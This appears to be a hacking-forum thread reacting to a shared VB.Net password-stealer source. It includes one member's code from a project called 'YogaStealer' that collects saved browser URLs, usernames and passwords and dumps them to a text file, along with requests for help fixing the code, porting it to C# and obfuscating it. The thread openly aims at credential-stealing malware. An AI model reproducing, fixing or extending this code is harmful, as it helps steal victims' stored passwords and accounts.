[RON6566]

Thanks for sharing this... (hope this works..)

[W33DY]

Thanks Mate i will use it in my Stealer
and will credits you !! :)

works great

[Arnow]

First time i find something pretty interesting in .net but seems that I don't know anything about it.. Could you post a source which gets the user/pass/url in a textbox?

[crashfreak]

iam sorry to be kinda noob, but could you please tell me where to put in the codes in VB.Net. Thanks in advance.

[Go To Guy]

How would I get it sUrl, sUser, and sPass to be assigned to the variable LoginData in a specific format

Code

For j = 0 To sUrl.Length - 1
    If sUrl(j) = "" Then
    Exit For
    End If
    LoginData(c2) = sUrl(j)
    LoginData(c2 + 1) = sUser(j)
    LoginData(c2 + 2) = sPass(j)
    c2 += 3
    If (sUser(j) <> "") And (sPass(j) <> "") Then

    LoginData = ("Host" & vbNewLine & sUrl & vbNewLine & "Username: " & sUser(j) & vbNewLine & "Password: " & sPass(j) & vbNewLine & "==" _
    & vbNewLine & " ")

    Write_logs()
    End If
  Next
    End Sub

Write_logs() is this

Code

Public Sub Write_logs()
  Dim file As System.IO.StreamWriter
  file = My.Computer.FileSystem.OpenTextFileWriter("c:\Users\Public\dump.txt", True)
  file.Write(LoginData)
  file.Close()
    End Sub

I keep getting this error:
Error 1 Operator '&' is not defined for types 'String' and '1-dimensional array of String'. C:\Users\Admin\Documents\Visual Studio 2008\Projects\YogaStealer\YogaStealer\Opera.vb 168 30 YogaStealer

for this line
LoginData = ("Host" & vbNewLine & sUrl & vbNewLine & "Username: " & sUser(j)

[★☆✰ Matto ✰☆★]

Nice code thanks. The output could be cleaner, a string array with a 3000 limit is a bit messy. Great share, shame the leechers will ruin it. Maybe upload the .vb file with anti-noob protection? Or simply encrypt the whole text?

[Pikarica]

This is not yours but thx 4 sharing. :)

[ahmedkulumu]

Wow, thanks for the source!

[dexterxx]

Could anyone rewrite it to C++/C# syntax?
IMHO basic sux ;)